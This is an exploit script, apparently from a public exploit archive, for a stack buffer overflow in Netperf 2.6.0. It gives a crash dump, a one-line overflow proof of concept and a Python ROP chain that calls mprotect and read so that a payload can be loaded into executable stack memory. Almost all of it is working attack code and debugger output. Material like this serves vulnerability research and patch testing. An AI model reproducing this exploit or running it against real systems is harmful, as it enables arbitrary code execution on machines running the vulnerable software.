# Exploit Author: Juan Sacco - http://exploitpack.com # # Tested on: Kali i686 GNU/Linux # # Description: Netperf 2.6.0 s a benchmark tool than developed by Hewlett Packard that can be used to measure the performance of many different types of networking. # It provides tests for both unidirectional troughput and end-to-end latency. # # Vendor: https://hewlettpackard.github.io/netperf/ # # Program received signal SIGSEGV, Segmentation fault. # 0x41424344 in ?? () # LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA # EAX 0x6d # EBX 0x41414141 ('AAAA') # ECX 0x6f # EDX 0x430320 (test_name) 'TCP_STREAM' # EDI 0xb7ea2000 (_GLOBAL_OFFSET_TABLE_) # ESI 0xbfffd2c0 0x3 # EBP 0x41414141 ('AAAA') # ESP 0xbfffd280 0x0 # EIP 0x41424344 ('DCBA') # Invalid address 0x41424344 # Program received signal SIGSEGV (fault address 0x41424344) # PoC: run -a `python -c 'print "A"*8220+"DCBA"'` from struct import pack # int mprotect(void *addr, size_t len, int prot); # define PROT_READ 0x1 # define PROT_WRITE 0x2 # define PROT_EXEC 0x4 # # gef p mprotect # $1 = {} 0xb7dbdfd0 # gef p read #{ssize_t (int, void *, size_t)} 0xb7db06b0 <__GI___libc_read> # # gef ropgadget #pop3ret = 0x402fea offset = 8220 mprotect = 0xb7dbdfd0 # read = 0xb7db06b0 # pop3ret = 0x402fea target_memory = 0xb7fd4000 # r-xp [vdso] rop_chain = 'A' * offset rop_chain += pack('I', mprotect) # mprotect rop_chain += pack('I', pop3ret) # gadget rop_chain += pack('I', 0xbffdf000) # arg - void* rop_chain += pack('I', 0x100000) # arg size_t rop_chain += pack('I',0x7) # arg int rop_chain += pack('I', read) rop_chain += pack('I', 0xbffdf000) # return stack rop_chain += pack('I',0x00) # arg int fd rop_chain += pack('I',0xbffdf000) # arg void rop_chain += pack('I',0x200) # arg size_t print rop_chain